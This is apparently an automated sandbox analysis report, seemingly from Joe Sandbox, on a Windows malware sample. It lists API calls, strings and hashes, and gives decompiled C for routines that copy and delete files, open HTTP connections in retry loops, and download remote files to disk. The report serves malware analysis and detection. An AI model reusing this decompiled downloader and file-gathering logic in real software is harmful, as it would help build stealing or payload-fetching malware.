Part of subcall function 005879F0: lstrcat.KERNEL32(?,0041401A), ref: 00587B09
Part of subcall function 005879F0: lstrcat.KERNEL32(?,0041401A), ref: 00587B1D
Part of subcall function 005879F0: lstrcat.KERNEL32(0041401A,0041401A), ref: 00587B3E

lstrcat.KERNEL32(0041A838,00000000), ref: 0058960E
lstrcat.KERNEL32(0041A838,00418BC0), ref: 0058961F
CloseHandle.KERNEL32(00000000), ref: 0058963D

Strings

hrH, xrefs: 005894C1, 005894C7
8sH, xrefs: 00589455, 0058945B
hsH, xrefs: 0058948C, 00589491
, xrefs: 005892DF
p{H, xrefs: 005893EE, 005893F4, 00589412, 00589418

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: lstrcat$File$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringnew[]
String ID: $8sH$hrH$hsH$p{H
API String ID: 3141130001-3741783452
Opcode ID: ac1a501cdbda92d70ea82fc89cedc036c1a3fcebaa1d84251d868b40488cc35a
Instruction ID: 2ec8b26e982f8d50381a41e41867271e9943e63df3bf1a0d1d98cb942aac1b97
Opcode Fuzzy Hash: ac1a501cdbda92d70ea82fc89cedc036c1a3fcebaa1d84251d868b40488cc35a
Instruction Fuzzy Hash: 5CA119B5A11208AFCB15EBA4DD88FDA77F9EB4C300F00C5A9F60993251C734A9A1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406C10, Relevance: 56.3, APIs: 29, Strings: 3, Instructions: 277libraryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(00000094,?,00000094), ref: 00406C3D
LoadLibraryA.KERNEL32(00487600), ref: 00406CAA

Strings

hrH, xrefs: 00406E31, 00406EDF
8sH, xrefs: 00406DD4
XsH, xrefs: 00406E0C

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: LibraryLoadVersion
String ID: 8sH$XsH$hrH
API String ID: 3209957514-95638413
Opcode ID: e84f9ca03eac7a13b7a77c1375965038265a957770e2931508baf369378c1273
Instruction ID: 05bfa34741bdcc6f61b31b7f22c3a432e1b570a345a4de00ebc14ecdda937758
Opcode Fuzzy Hash: e84f9ca03eac7a13b7a77c1375965038265a957770e2931508baf369378c1273
Instruction Fuzzy Hash: 6BC182B1612208ABDB54DF90DD88FDA77B9EF4C304F1085A9F205A72D0C774AA91CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00407D50, Relevance: 54.5, APIs: 30, Strings: 1, Instructions: 284stringmemoryfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00407D65
lstrcat.KERNEL32(?,00414018), ref: 00407D77

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 00407D8F
CopyFileA.KERNEL32(00000000,?,00000001), ref: 00407DA2
wsprintfA.USER32 ref: 00407DCF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00407E1F
RtlAllocateHeap.NTDLL(00000000), ref: 00407E26
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00407ED2
lstrcat.KERNEL32(?,00487218), ref: 00407EF9
lstrcat.KERNEL32(?,004872B8), ref: 00407F1E
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00407F30
lstrcat.KERNEL32(?,00487218), ref: 00407F58
lstrcat.KERNEL32(?,004872B8), ref: 00407F7E

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00418BE0), ref: 00407FAE
lstrcat.KERNEL32(?,?), ref: 00407FC2
lstrcat.KERNEL32(?,004191EC), ref: 00407FD4
lstrcat.KERNEL32(?,?), ref: 00407FE8
lstrcat.KERNEL32(?,004191EC), ref: 00407FFA
lstrcat.KERNEL32(?,?), ref: 0040800E
lstrcat.KERNEL32(?,004191EC), ref: 00408020
lstrcat.KERNEL32(?,?), ref: 00408034
lstrcat.KERNEL32(?,004191EC), ref: 00408046
lstrcat.KERNEL32(?,?), ref: 0040805A
lstrcat.KERNEL32(?,004191EC), ref: 0040806C
lstrcat.KERNEL32(?,?), ref: 00408080
lstrcat.KERNEL32(?,004191EC), ref: 00408092
lstrcat.KERNEL32(?,00000000), ref: 004080D0
lstrcat.KERNEL32(?,00418BC4), ref: 004080E2
lstrlen.KERNEL32(?), ref: 004080F4
DeleteFileA.KERNEL32(?), ref: 00408144

Strings

x(H, xrefs: 00407DFC

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAllocateCopyCurrentDeleteDirectoryLocalProcessSystemTimelstrlenmemsetwsprintf
String ID: x(H
API String ID: 3067815791-2163836914
Opcode ID: 83cf5e2ad02338a3089d9551484901566ac32f4d52c1061a5b6a0987b63b7152
Instruction ID: 0472a7c7585205d9353b1484faec9d34f3986521201bc2a8f856e71ef692a447
Opcode Fuzzy Hash: 83cf5e2ad02338a3089d9551484901566ac32f4d52c1061a5b6a0987b63b7152
Instruction Fuzzy Hash: 0CB197B5A41108BBCB10DBA4DD8DFEA77B8AF4C704F008599F205A7181C739EA61CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00587FA0, Relevance: 54.5, APIs: 30, Strings: 1, Instructions: 284stringmemoryfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00587FB5
lstrcat.KERNEL32(?,00414018), ref: 00587FC7

Part of subcall function 0058BB00: GetSystemTime.KERNEL32(?,?,00000104), ref: 0058BB21

lstrcat.KERNEL32(?,00000000), ref: 00587FDF
CopyFileA.KERNEL32(00000000,?,00000001), ref: 00587FF2
wsprintfA.USER32 ref: 0058801F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0058806F
RtlAllocateHeap.NTDLL(00000000), ref: 00588076
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00588122
lstrcat.KERNEL32(?,0041A48C), ref: 00588149
lstrcat.KERNEL32(?,0041A15C), ref: 0058816E
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00588180
lstrcat.KERNEL32(?,0041A48C), ref: 005881A8
lstrcat.KERNEL32(?,0041A15C), ref: 005881CE

Part of subcall function 00587480: memset.MSVCRT ref: 005874D2
Part of subcall function 00587480: LocalAlloc.KERNEL32(00000040,?), ref: 00587521
Part of subcall function 00587480: lstrcat.KERNEL32(?,00000000), ref: 00587587

lstrcat.KERNEL32(?,00418BE0), ref: 005881FE
lstrcat.KERNEL32(?,?), ref: 00588212
lstrcat.KERNEL32(?,004191EC), ref: 00588224
lstrcat.KERNEL32(?,?), ref: 00588238
lstrcat.KERNEL32(?,004191EC), ref: 0058824A
lstrcat.KERNEL32(?,?), ref: 0058825E
lstrcat.KERNEL32(?,004191EC), ref: 00588270
lstrcat.KERNEL32(?,?), ref: 00588284
lstrcat.KERNEL32(?,004191EC), ref: 00588296
lstrcat.KERNEL32(?,?), ref: 005882AA
lstrcat.KERNEL32(?,004191EC), ref: 005882BC
lstrcat.KERNEL32(?,?), ref: 005882D0
lstrcat.KERNEL32(?,004191EC), ref: 005882E2
lstrcat.KERNEL32(?,00000000), ref: 00588320
lstrcat.KERNEL32(?,00418BC4), ref: 00588332
lstrlen.KERNEL32(?), ref: 00588344
DeleteFileA.KERNEL32(?), ref: 00588394

Strings

x(H, xrefs: 0058804C, 00588052

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAllocateCopyCurrentDeleteDirectoryLocalProcessSystemTimelstrlenmemsetwsprintf
String ID: x(H
API String ID: 3067815791-2163836914
Opcode ID: ffd5550d78d5c5cbcce8ec1d2f464851c7de5c2aa3a5bccb6b89eb1b96e4b4a3
Instruction ID: ef359205ded78ebde1aa5bf7d5ec2d5396a2d036545cfe9b38542c0a2b29540f
Opcode Fuzzy Hash: ffd5550d78d5c5cbcce8ec1d2f464851c7de5c2aa3a5bccb6b89eb1b96e4b4a3
Instruction Fuzzy Hash: 94B182B5A51208ABCB10EBA4DD8DFEA77B8BF4C704F008594F605A7151CB34EAA1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00407AC0, Relevance: 42.2, APIs: 21, Strings: 3, Instructions: 174stringfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,004088AE,?,?,00000000,00000000,00000000), ref: 00407AD9
lstrcat.KERNEL32(?,00414018), ref: 00407AEB

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 00407B03
CopyFileA.KERNEL32(?,?,00000001), ref: 00407B16
DeleteFileA.KERNEL32(?), ref: 00407D3C

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00000000), ref: 00407BF7
lstrcat.KERNEL32(00000000,00487338), ref: 00407C0B
lstrcat.KERNEL32(00000000,?), ref: 00407C1C
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C2E
lstrcat.KERNEL32(00000000,00487368), ref: 00407C41
lstrcat.KERNEL32(00000000,?), ref: 00407C51
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C63
lstrcat.KERNEL32(00000000,00487268), ref: 00407C76
lstrcat.KERNEL32(00000000,?), ref: 00407C8A
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C9B
lstrcat.KERNEL32(00000000,004871B8), ref: 00407CAF
lstrcat.KERNEL32(00000000,?), ref: 00407CC3
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407CD5
lstrcat.KERNEL32(00000000,004871C8), ref: 00407CE8
lstrcat.KERNEL32(00000000,?), ref: 00407CFB
lstrcat.KERNEL32(00000000,00418BC0), ref: 00407D0D

Strings

hrH, xrefs: 00407C69
8sH, xrefs: 00407BFD
hsH, xrefs: 00407C34

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: lstrcat$File$AllocCopyCurrentDeleteDirectoryLocalSystemTimememset
String ID: 8sH$hrH$hsH
API String ID: 3522136165-2140607547
Opcode ID: d71c7888987a1cbf97e5e2e477a0353ec896e0b87914dfed661219fd715b0de4
Instruction ID: ab0808fcc5ae4ac9d31269b52e8e6387a8d9148f66a13944e02c84bb448b15ba
Opcode Fuzzy Hash: d71c7888987a1cbf97e5e2e477a0353ec896e0b87914dfed661219fd715b0de4
Instruction Fuzzy Hash: 6C6152B1A11104AFC710EBA4EE49DEA37F8EF4C305F008569F60593161D778EA61CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00587D10, Relevance: 42.2, APIs: 21, Strings: 3, Instructions: 174stringfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,00588AFE,?,?,0041ABAC,00000000,00000000), ref: 00587D29
lstrcat.KERNEL32(?,00414018), ref: 00587D3B

Part of subcall function 0058BB00: GetSystemTime.KERNEL32(?,?,00000104), ref: 0058BB21

lstrcat.KERNEL32(?,00000000), ref: 00587D53
CopyFileA.KERNEL32(?,?,00000001), ref: 00587D66
DeleteFileA.KERNEL32(?), ref: 00587F8C

Part of subcall function 00587480: memset.MSVCRT ref: 005874D2
Part of subcall function 00587480: LocalAlloc.KERNEL32(00000040,?), ref: 00587521
Part of subcall function 00587480: lstrcat.KERNEL32(?,00000000), ref: 00587587

lstrcat.KERNEL32(?,00000000), ref: 00587E47
lstrcat.KERNEL32(0041A838,8sH), ref: 00587E5B
lstrcat.KERNEL32(0041A838,?), ref: 00587E6C
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00587E7E
lstrcat.KERNEL32(0041A838,hsH), ref: 00587E91
lstrcat.KERNEL32(0041A838,?), ref: 00587EA1
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00587EB3
lstrcat.KERNEL32(0041A838,hrH), ref: 00587EC6
lstrcat.KERNEL32(0041A838,?), ref: 00587EDA
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00587EEB
lstrcat.KERNEL32(0041A838,0041A06C), ref: 00587EFF
lstrcat.KERNEL32(0041A838,?), ref: 00587F13
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00587F25
lstrcat.KERNEL32(0041A838,0041A14C), ref: 00587F38
lstrcat.KERNEL32(0041A838,?), ref: 00587F4B
lstrcat.KERNEL32(0041A838,00418BC0), ref: 00587F5D

Strings

8sH, xrefs: 00587E4D, 00587E53
hrH, xrefs: 00587EB9, 00587EBF
hsH, xrefs: 00587E84, 00587E89

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: lstrcat$File$AllocCopyCurrentDeleteDirectoryLocalSystemTimememset
String ID: 8sH$hrH$hsH
API String ID: 3522136165-2140607547
Opcode ID: 2e624d91b4c54302e4a69fc95ab7cc2408cdea3b369d4b7b1ddfcb14965c28a0
Instruction ID: 0c05f36babb3f2509843270e3e6307d8b0cc0a3cfd2da3c297e2f9a36caaef74
Opcode Fuzzy Hash: 2e624d91b4c54302e4a69fc95ab7cc2408cdea3b369d4b7b1ddfcb14965c28a0
Instruction Fuzzy Hash: FF613FB1611104AFCB14EBA4EE49DEA37F8FF4C305F008569F60593161D678EA61CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 004051A0, Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 172
networksleepfileCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E004051A0(void* __ecx, void* __eflags, intOrPtr _a4, char _a8, char _a12, char* _a16) {
				void* _v8;
				DWORD* _v12;
				char _v2012;
				void* _v2016;
				void* _v2020;
				long _v2024;
				void _v2284;
				void _v2288;
				DWORD* _v2292;
				DWORD* _v2296;
				void _v4300;
				int _v4304;
				long _v4308;
				DWORD* _t104;
				void* _t107;

				_t85 = __ecx;
				E004139B0(0x10d0, __ecx);
				E0040B6E0(_t85,  &_v2012, 0, 0x7d0);
				_v2020 = InternetOpenA(0x41401a, 0, 0, 0, 0);
				_v2024 = 0x100;
				_v12 = 0;
				_push("https://");
				_push(_a4);
				if( *0x41aa4c() == 0) {
					_v12 = 1;
				}
				if(_v2020 != 0) {
					_v2288 = 0x927c0;
					InternetSetOptionA(_v2020, 6,  &_v2288, 4);
					if(_v12 == 0) {
						_t15 =  &_a8; // 0x482148
						_v2016 = InternetConnectA(_v2020,  *_t15, 0x50, 0, 0, 3, 0, 0);
					} else {
						_t12 =  &_a8; // 0x482148
						_v2016 = InternetConnectA(_v2020,  *_t12, 0x1bb, 0, 0, 3, 0, 0);
					}
					if(_v2016 != 0) {
						if(_v12 == 0) {
							_t24 =  &_a12; // 0x40672d
							_v8 = HttpOpenRequestA(_v2016, _a16,  *_t24, 0, 0, 0, 0x400100, 0);
						} else {
							_t20 =  &_a12; // 0x40672d
							_v8 = HttpOpenRequestA(_v2016, _a16,  *_t20, 0, 0, 0, 0xc00100, 0);
						}
						if(_v8 != 0) {
							_v2292 = 0;
							_v2296 = 0;
							while(_v2296 < 6) {
								HttpSendRequestA(_v8, 0, 0, 0, 0);
								if(HttpQueryInfoA(_v8, 0x13,  &_v2284,  &_v2024, 0) == 0) {
									L17:
									Sleep(0x7530);
									_t104 =  &(_v2296[0]);
									__eflags = _t104;
									_v2296 = _t104;
									continue;
								} else {
									_push("200");
									_push( &_v2284);
									if( *0x41aa4c() != 0) {
										goto L17;
									} else {
										_v2292 = 1;
									}
								}
								break;
							}
							if(_v2292 != 0) {
								while(1) {
									_v4304 = InternetReadFile(_v8,  &_v4300, 0x7cf,  &_v4308);
									if(_v4304 == 0) {
										break;
									}
									_t122 = _v4308;
									if(_v4308 != 0) {
										 *((char*)(_t107 + _v4308 - 0x10c8)) = 0;
										 *0x41aa24( &_v2012,  &_v4300);
										continue;
									}
									break;
								}
							}
						}
						InternetCloseHandle(_v8);
					}
					InternetCloseHandle(_v2016);
				}
				InternetCloseHandle(_v2020);
				return E00404830(_v2020, _t122,  &_v2012);
			}

0x004051a0
0x004051a8
0x004051bb
0x004051d3
0x004051d9
0x004051e3
0x004051ea
0x004051f2
0x004051fb
0x004051fd
0x004051fd
0x0040520b
0x00405211
0x0040522d
0x00405237
0x0040526d
0x0040527e
0x00405239
0x00405248
0x00405259
0x00405259
0x0040528b
0x00405295
0x004052cb
0x004052e0
0x00405297
0x004052a4
0x004052b9
0x004052b9
0x004052e7
0x004052ed
0x004052f7
0x00405312
0x00405327
0x0040534b
0x0040536f
0x00405374
0x00405309
0x00405309
0x0040530c
0x00000000
0x0040534d
0x0040534d
0x00405358
0x00405361
0x00000000
0x00405363
0x00405363
0x00405363
0x00405361
0x00000000
0x0040534b
0x00405383
0x00405385
0x004053a2
0x004053af
0x00000000
0x00000000
0x004053b1
0x004053b8
0x004053c2
0x004053d8
0x00000000
0x004053d8
0x00000000
0x004053b8
0x004053ba
0x00405383
0x004053e4
0x004053e4
0x004053f1
0x004053f1
0x004053fe
0x00405416

APIs

InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004051CD
StrCmpCA.SHLWAPI(00000000,https://), ref: 004051F3
InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040522D
InternetConnectA.WININET(00000000,H!H,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405253
InternetConnectA.WININET(00000000,H!H,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00405278
HttpOpenRequestA.WININET(00000000,?,-g@H!H,00000000,00000000,00000000,00C00100,00000000), ref: 004052B3
HttpOpenRequestA.WININET(00000000,?,-g@H!H,00000000,00000000,00000000,00400100,00000000), ref: 004052DA
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405327
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405343
StrCmpCA.SHLWAPI(?,200), ref: 00405359
Sleep.KERNEL32(00007530), ref: 00405374
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040539C
lstrcat.KERNEL32(?,00000000), ref: 004053D8
InternetCloseHandle.WININET(00000000), ref: 004053E4
InternetCloseHandle.WININET(00000000), ref: 004053F1
InternetCloseHandle.WININET(00000000), ref: 004053FE

Part of subcall function 00404830: memset.MSVCRT ref: 00404852
Part of subcall function 00404830: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00482148), ref: 0040487E
Part of subcall function 00404830: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00000000,00000000), ref: 004048A6

Strings

https://, xrefs: 004051EA
-g@H!H, xrefs: 004052CB, 004052A4, 004052A7, 004052CE
200, xrefs: 0040534D
H!H, xrefs: 0040526D, 00405248, 0040524B, 00405270

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Internet$Http$CloseHandleOpenRequest$BinaryConnectCryptString$FileInfoOptionQueryReadSendSleeplstrcatmemset
String ID: -g@H!H$200$H!H$https://
API String ID: 3903783505-1274577651
Opcode ID: ed28bf1071449e7ad06a5ff83b2de2c6207da898ebd1a13e635f1ef9f3c0d26e
Instruction ID: 3a11fd38065f95ba9f916252f7cceca424cf4b116932673e0c024cd65fd50a4c
Opcode Fuzzy Hash: ed28bf1071449e7ad06a5ff83b2de2c6207da898ebd1a13e635f1ef9f3c0d26e
Instruction Fuzzy Hash: F3612B71A45359ABEB24DB60CC49FDA77B4EB08740F1085AAB6097A1C0C7B86A84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00405420, Relevance: 34.7, APIs: 18, Strings: 5, Instructions: 180
stringCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00405420(void* __ecx) {
				char _v268;
				char _v532;
				char _v796;
				char _v1060;
				char _v1324;
				char _v1588;
				intOrPtr _t45;
				intOrPtr _t50;
				intOrPtr _t55;
				intOrPtr _t60;
				intOrPtr _t65;
				intOrPtr _t70;
				intOrPtr _t75;
				intOrPtr _t80;
				intOrPtr _t97;
				intOrPtr _t99;
				intOrPtr _t101;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t116;
				intOrPtr _t118;
				intOrPtr _t120;
				intOrPtr _t122;
				intOrPtr _t124;
				intOrPtr _t126;
				intOrPtr _t128;
				intOrPtr _t130;

				E0040B720( &_v1324, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B720( &_v796, 0x104);
				E0040B720( &_v1588, 0x104);
				E0040B720( &_v532, 0x104);
				E0040B720( &_v1060, 0x104);
				_t45 =  *0x41a368; // 0x482148
				 *0x41aa24( &_v1324, _t45);
				_t116 =  *0x41a7c4; // 0x484c38
				 *0x41aa24( &_v1324, _t116);
				_t97 =  *0x41a11c; // 0x486f48
				 *0x41aa24( &_v1324, _t97);
				_t50 =  *0x41a368; // 0x482148
				 *0x41aa24( &_v268, _t50);
				_t118 =  *0x41a7c4; // 0x484c38
				 *0x41aa24( &_v268, _t118);
				_t99 =  *0x41a3b4; // 0x486fd8
				 *0x41aa24( &_v268, _t99);
				_t55 =  *0x41a368; // 0x482148
				 *0x41aa24( &_v796, _t55);
				_t120 =  *0x41a7c4; // 0x484c38
				 *0x41aa24( &_v796, _t120);
				_t101 =  *0x41a090; // 0x486e88
				 *0x41aa24( &_v796, _t101);
				_t60 =  *0x41a368; // 0x482148
				 *0x41aa24( &_v1588, _t60);
				_t122 =  *0x41a7c4; // 0x484c38
				 *0x41aa24( &_v1588, _t122);
				_t103 =  *0x41a604; // 0x486ed0
				 *0x41aa24( &_v1588, _t103);
				_t65 =  *0x41a368; // 0x482148
				 *0x41aa24( &_v532, _t65);
				_t124 =  *0x41a7c4; // 0x484c38
				 *0x41aa24( &_v532, _t124);
				_t105 =  *0x41a630; // 0x486ff0
				 *0x41aa24( &_v532, _t105);
				_t70 =  *0x41a368; // 0x482148
				 *0x41aa24( &_v1060, _t70);
				_t126 =  *0x41a7c4; // 0x484c38
				 *0x41aa24( &_v1060, _t126);
				_t107 =  *0x41a674; // 0x4849b8
				 *0x41aa24( &_v1060, _t107);
				_t75 =  *0x41a2f0; // 0x486728
				_t108 =  &_v1324;
				E004049E0( &_v1324,  &_v1324, _t75);
				_t128 =  *0x41a650; // 0x4867f0
				E004049E0(_t108,  &_v268, _t128);
				_t109 =  *0x41a220; // 0x4868b8
				E004049E0(_t109,  &_v796, _t109);
				_t80 =  *0x41a6cc; // 0x484ab8
				_t110 =  &_v1588;
				E004049E0( &_v1588,  &_v1588, _t80);
				_t130 =  *0x41a4a8; // 0x4867a0
				E004049E0(_t110,  &_v532, _t130);
				_t111 =  *0x41a700; // 0x486930
				E004049E0(_t111,  &_v1060, _t111);
				E0040B720( &_v1324, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B720( &_v796, 0x104);
				E0040B720( &_v1588, 0x104);
				E0040B720( &_v532, 0x104);
				return E0040B720( &_v1060, 0x104);
			}

0x00405435
0x00405446
0x00405457
0x00405468
0x00405479
0x0040548a
0x0040548f
0x0040549c
0x004054a2
0x004054b0
0x004054b6
0x004054c4
0x004054ca
0x004054d7
0x004054dd
0x004054eb
0x004054f1
0x004054ff
0x00405505
0x00405512
0x00405518
0x00405526
0x0040552c
0x0040553a
0x00405540
0x0040554d
0x00405553
0x00405561
0x00405567
0x00405575
0x0040557b
0x00405588
0x0040558e
0x0040559c
0x004055a2
0x004055b0
0x004055b6
0x004055c3
0x004055c9
0x004055d7
0x004055dd
0x004055eb
0x004055f1
0x004055f7
0x004055fe
0x00405606
0x00405614
0x0040561c
0x0040562a
0x00405632
0x00405638
0x0040563f
0x00405647
0x00405655
0x0040565d
0x0040566b
0x0040567f
0x00405690
0x004056a1
0x004056b2
0x004056c3
0x004056dc

APIs

lstrcat.KERNEL32(?,00482148), ref: 0040549C
lstrcat.KERNEL32(?,00484C38), ref: 004054B0
lstrcat.KERNEL32(?,00486F48), ref: 004054C4
lstrcat.KERNEL32(?,00482148), ref: 004054D7
lstrcat.KERNEL32(?,00484C38), ref: 004054EB
lstrcat.KERNEL32(?,00486FD8), ref: 004054FF
lstrcat.KERNEL32(?,00482148), ref: 00405512
lstrcat.KERNEL32(?,00484C38), ref: 00405526
lstrcat.KERNEL32(?,00486E88), ref: 0040553A
lstrcat.KERNEL32(?,00482148), ref: 0040554D
lstrcat.KERNEL32(?,00484C38), ref: 00405561
lstrcat.KERNEL32(?,00486ED0), ref: 00405575
lstrcat.KERNEL32(?,00482148), ref: 00405588
lstrcat.KERNEL32(?,00484C38), ref: 0040559C
lstrcat.KERNEL32(?,00486FF0), ref: 004055B0
lstrcat.KERNEL32(?,00482148), ref: 004055C3
lstrcat.KERNEL32(?,00484C38), ref: 004055D7
lstrcat.KERNEL32(?,004849B8), ref: 004055EB

Part of subcall function 004049E0: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E

Part of subcall function 004049E0: StrCmpCA.SHLWAPI(00000000,https), ref: 00404A3A
Part of subcall function 004049E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404A8F
Part of subcall function 004049E0: HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404ACF
Part of subcall function 004049E0: StrCmpCA.SHLWAPI(?,200), ref: 00404AE5
Part of subcall function 004049E0: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404B17
Part of subcall function 004049E0: InternetReadFile.WININET(?,?,00000400,?), ref: 00404B40
Part of subcall function 004049E0: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404B6E
Part of subcall function 004049E0: CloseHandle.KERNEL32(?,?,00000400), ref: 00404BBC
Part of subcall function 004049E0: InternetCloseHandle.WININET(?), ref: 00404BC6
Part of subcall function 004049E0: InternetCloseHandle.WININET(00000000), ref: 00404BD3

Part of subcall function 004049E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000100,00000000), ref: 00404AB0
Part of subcall function 004049E0: Sleep.KERNEL32(00007530), ref: 00404AF6

Strings

(gH, xrefs: 004055F1
HoH, xrefs: 004054B6
8LH, xrefs: 004054A2, 004054DD, 00405518, 00405553, 0040558E, 004055C9
H!H, xrefs: 0040548F, 004054CA, 00405505, 00405540, 0040557B, 004055B6
0iH, xrefs: 0040565D

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: lstrcat$Internet$CloseFileHandleOpen$CreateHttpInfoQueryReadSleepWrite
String ID: (gH$0iH$8LH$H!H$HoH
API String ID: 3671864319-2406492857
Opcode ID: 8bfd94d01620b231d2045034dd9fda1ecaa6460d0c0de56d639d398e5b060792
Instruction ID: 5a6f90b88bf48c53f68c00fc2f1db0b98238631f3db8af8a6affdc9d9dd0ffe7
Opcode Fuzzy Hash: 8bfd94d01620b231d2045034dd9fda1ecaa6460d0c0de56d639d398e5b060792
Instruction Fuzzy Hash: AB6178F6511118ABC710EBA0DD85DEA33B8FB4C704F0485AEF21593191DB7897A4CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00585670, Relevance: 34.7, APIs: 18, Strings: 5, Instructions: 180stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,H!H), ref: 005856EC
lstrcat.KERNEL32(?,8LH), ref: 00585700
lstrcat.KERNEL32(?,HoH), ref: 00585714
lstrcat.KERNEL32(?,H!H), ref: 00585727
lstrcat.KERNEL32(?,8LH), ref: 0058573B
lstrcat.KERNEL32(?,0041A3B4), ref: 0058574F
lstrcat.KERNEL32(?,H!H), ref: 00585762
lstrcat.KERNEL32(?,8LH), ref: 00585776
lstrcat.KERNEL32(?,0041A090), ref: 0058578A
lstrcat.KERNEL32(?,H!H), ref: 0058579D
lstrcat.KERNEL32(?,8LH), ref: 005857B1
lstrcat.KERNEL32(?,0041A604), ref: 005857C5
lstrcat.KERNEL32(?,H!H), ref: 005857D8
lstrcat.KERNEL32(?,8LH), ref: 005857EC
